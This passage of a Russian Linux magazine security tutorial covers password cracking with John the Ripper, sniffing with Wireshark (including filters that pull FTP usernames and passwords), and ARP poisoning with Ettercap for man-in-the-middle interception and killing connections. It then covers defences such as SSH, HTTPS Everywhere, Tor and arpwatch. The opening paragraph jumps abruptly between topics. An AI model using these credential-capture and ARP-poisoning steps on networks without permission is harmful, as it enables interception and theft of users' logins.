Ес­ли у вас поя­ви­лось со­об­щение, что в фай­ле не об­на­ру­же­но хэ­шей, зна­чит, вы ис­поль­зуе­те ста­рую вер­сию John The Ripper, и вам нуж­но взять с сай­та но­вую. Про­грам­ма по­пы­та­ет­ся взло­мать все па­ро­ли в сис­те­ме, и вы мо­же­те про­ве­рить, легко ли подо­б­рать па­роль поль­зо­ва­те­ля. Ес­ли ваш па­роль доста­точ­но сло­жен, эта ко­ман­да никогда не пре­кра­тит ра­бо­ту; она бу­дет пы­тать­ся по­доб­рать па­роль дня­ми, но­ча­ми, неде­ля­ми и да­же го­да­ми, по­ка не най­дет; или, на­жав Ctrl+C, вы пре­кра­ти­те ее ра­бо­ту. Эта ути­ли­та – для web-раз­ра­бот­чи­ков, и вам по­тре­бу­ет­ся неко­то­рое знание HTTP, HTML и SQL, что­бы за­кон­чить уп­ражнения.

Ата­ка се­ти

Когда вы храните ин­фор­ма­цию на ин­фор­ма­цию на ком­пь­ю­те­ре, вы мо­же­те ею управ­лять, уста­нав­ли­вать пра­ва досту­па и за­пи­сы­вать, ка­кой имен­но поль­зо­ва­тель про­из­вел из­менение дан­ных. Од­на­ко как толь­ко ин­фор­ма­ция по­ки­да­ет ком­пь­ю­тер и пу­те­ше­ст­ву­ет по се­ти, вы те­ряе­те этот кон­троль.


Се­ти – это от­кры­тые сис­те­мы; ком­пь­ю­те­ры мо­гут к ним под­клю­чать­ся и от­клю­чать­ся от них, и основ­ные се­те­вые про­то­ко­лы в сво­ем ди­зайне по­ста­ви­ли про­сто­ту пре­вы­ше безо­пас­но­сти. Взлом­щик мо­жет ис­поль­зо­вать эту сла­бую сто­ро­ну, что­бы на­дер­гать дан­ных и да­же управ­лять тем, что вы по­сы­лае­те и по­лу­чае­те. Про­стей­ший спо­соб это сде­лать – про­слу­ши­вать дан­ные, ко­то­рые пе­ре­ме­ща­ют­ся по се­ти. Од­на из са­мых универ­саль­ных ути­лит для ана­ли­за се­те­во­го тра­фи­ка [sniffer] – WireShark. По­сле уста­нов­ки (ли­бо че­рез менед­жер па­ке­тов ва­ше­го ди­ст­ри­бу­ти­ва, ли­бо взяв фай­лы с www.wireshark.org), ее мож­но за­пустить коман­дой

sudo wireshark

Щелкните по Pseudo-device, ко­то­рый пе­ре­хва­ты­ва­ет все ин­тер­фей­сы, что­бы на­чать по­лу­чение па­ке­тов из се­ти (вклю­чая те, что по­сы­ла­ют­ся ком­пь­ю­те­ром, где за­пу­ще­на про­грам­ма). Ес­ли хоть что-то по­сы­ла­ет дан­ные, вы уви­ди­те це­лый по­ток ин­фор­ма­ции о па­ке­тах. Что­бы вы­де­лить нуж­ную вам ин­фор­ма­цию, на­строй­те фильтр. На­при­мер, фильтр

http.request.uri

ото­бра­зит все па­ке­ты с ин­фор­ма­ци­ей об HTTP-за­про­сах, а

ftp.request.command contains “USER”

или

ftp.request.command contains “PASS”

вы­бе­рет все име­на поль­зо­ва­те­лей и па­ро­лей для FTP. По­сколь­ку про­то­кол FTP по­сы­ла­ет эту ин­фор­ма­цию неза­шиф­ро­ван­ной, вы мо­же­те про­сто счи­тать де­та­ли вхо­да из столб­ца Info. Что­бы ис­пы­тать это, мож­но про­сто под­клю­чить­ся к FTP-сер­ве­ру, или ска­чать проб­ный пе­ре­хват iseries.cap из wiki.wireshark.org/SampleCaptures.

Од­на­ко, в за­ви­си­мо­сти от на­стро­ек се­ти, вы мо­же­те об­на­ру­жить, что про­слу­ши­вать вам осо­бен­но нече­го. Де­ло в том, что боль­шин­ст­во со­вре­мен­ных се­те­вых кон­цен­тра­то­ров яв­ля­ют­ся ком­му­та­то­ра­ми, то есть по­сы­ла­ют дан­ные толь­ко то­му ком­пь­ю­те­ру, ко­то­ро­му эти дан­ные ад­ре­со­ва­ны. Что­бы обой­ти это, взлом­щик мо­жет об­ду­рить про­то­кол раз­ре­шения ад­ре­сов (Address Resolution Protocol, ARP). Все про­чие ком­пь­ю­те­ры в се­ти бу­дут на­ив­но по­сы­лать свою ин­фор­ма­цию взлом­щи­ку, а тот за­тем пе­ре­на­пра­вит ее ис­тин­но­му ад­ре­са­ту. Это мож­но про­тес­ти­ро­вать на ва­шей се­ти (или той се­ти, где у вас есть раз­ре­шение на ата­ку) с по­мо­щью Ettercap-NG (ettercap.sourceforge.net).

За­пусти­те гра­фи­че­­ский ин­тер­фейс, вве­дя

sudo ettercap -G

За­тем пе­рей­ди­те к Sniff > Unified sniffing и вы­бе­ри­те се­те­вой ин­тер­фейс. Для успешного от­ра­вления [poisoning] таб­ли­ц ARP вам нуж­но знать, ка­кие ком­пь­ю­те­ры при­сут­ст­ву­ют в се­ти, так что зай­ди­те в Hosts > Scan For Hosts. Что­бы на­чать ата­ку, на­жми­те MITM > ARP Poisoning, а за­тем OK. Сей­час все под­го­тов­ле­но; пе­рей­ди­те в Start > Start Sniffing. По­сле за­пуска иди­те в Hosts > Host List и вы­де­ли­те ка­ж­дую жерт­ву. На­жми­те Add to Target 1.

Мо­же­те за­пускать arp на ма­ши­нах-жерт­вах. Ес­ли от­рав­ление ARP сра­бо­та­ло, все IP-ад­ре­са бу­дут ука­зы­вать на один и тот же MAC-ад­рес.

Сей­час вы долж­ны об­на­ру­жить, что че­рез WireShark про­хо­дит боль­ше ин­фор­ма­ции. Вы мо­же­те да­же ис­поль­зо­вать Ettercap, что­бы управ­лять се­тью. На­при­мер, зай­дя в View > Connections, вы уви­ди­те все TCP- и UDP-со­единения в се­ти. Вы мо­же­те ра­зо­рвать лю­бое из них, вы­де­лив его и на­жав Kill Connection.

Безо­пас­ные про­то­ко­лы

Что­бы за­щи­тить се­бя при со­единении по се­ти, по­за­боть­тесь об ис­поль­зо­вании безо­пас­ных про­то­ко­лов. На­при­мер, ис­поль­зуй­те SSH вме­сто Telnet (флаг -2 га­ран­ти­ру­ет, что ис­поль­зу­ет­ся вер­сия 2 про­то­ко­ла SSH) и SFTP вме­сто FTP. Когда де­ло дой­дет до об­зо­ра Ин­тернета, вы бу­де­те ог­раниче­ны той за­щи­щен­но­стью, что пред­ла­га­ет web-сер­вер. Не­ко­то­рые сай­ты доступ­ны по за­щи­щен­но­му про­то­ко­лу HTTPS, тогда как дру­гие доступ­ны по про­сто­му HTTP. Что­бы по­мочь вам дер­жать об­зор се­ти вда­ли от лю­бо­пыт­ных глаз, Electronic Frontier Foundation вы­пустил мо­дуль рас­ши­рения для Firefox под на­званием HTTPS Everywhere (www.eff.org/https-everywhere). Он не по­вы­ша­ет уро­вень за­щи­щен­но­сти до уров­ня HTTPS, но за­то вы­ну­ж­да­ет ис­поль­зо­вать безо­пас­ный про­то­кол, ес­ли сайт его под­дер­жи­ва­ет.

Та­кие фор­мы шиф­ро­вания не по­зво­лят про­слу­ши­ваю­ще­му счи­тать ка­кие-ли­бо ва­ши дан­ные, но мо­гут под­ска­зать ему, ка­кие ком­пь­ю­те­ры со­единены друг с дру­гом. Ес­ли ис­поль­зо­вать Tor (www.torproject.org), то мож­но по­ме­шать взлом­щи­ку за­вла­деть и этой ин­фор­ма­ци­ей. Про­стей­ший спо­соб – взять та­мошний Browser Bundle. Что­бы сде­лать об­зор Ин­тернета аноним­ным, про­сто ска­чай­те, рас­па­куй­те и за­пусти­те start_tor_browser. При этом вы под­клю­чи­тесь к се­ти Tor (это на­бор под­став­ных сер­ве­ров, раз­бро­сан­ных по все­му све­ту), за­тем от­крое­те web-брау­зер. При вхо­де в Ин­тернет че­рез эту про­грам­му дан­ные бу­дут безо­пас­но пе­ре­та­со­ва­ны по це­лой це­поч­ке ком­пь­ю­те­ров, и лю­бо­му про­слу­ши­ваю­ще­му бу­дет невоз­мож­но по­нять, ка­кие сай­ты вы по­се­щае­те.

Вдо­ба­вок к web-брау­зе­рам, usewithtor по­зво­ля­ет и дру­гим про­грам­мам взаи­мо­дей­ст­во­вать по се­ти Tor. Под­роб­но­сти то­го, ка­кие про­грам­мы бу­дут ра­бо­тать с этой сис­те­мой – на сай­те Tor (https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO). За­щи­тить се­бя от ARP-«на­ду­ва­тель­ст­ва» [spoofing, подмена MAC-адреса] мож­но несколь­ким раз­ны­ми спо­со­ба­ми. Ес­ли за­пустить arpwatch или arpalert, то все по­доз­ри­тель­ные слу­чаи бу­дут от­ра­же­ны в сис­тем­ных жур­на­лах, тогда как ArpON по­пы­та­ет­ся ос­та­но­вить ата­ку.

Персональные инструменты
купить
подписаться
Яндекс.Метрика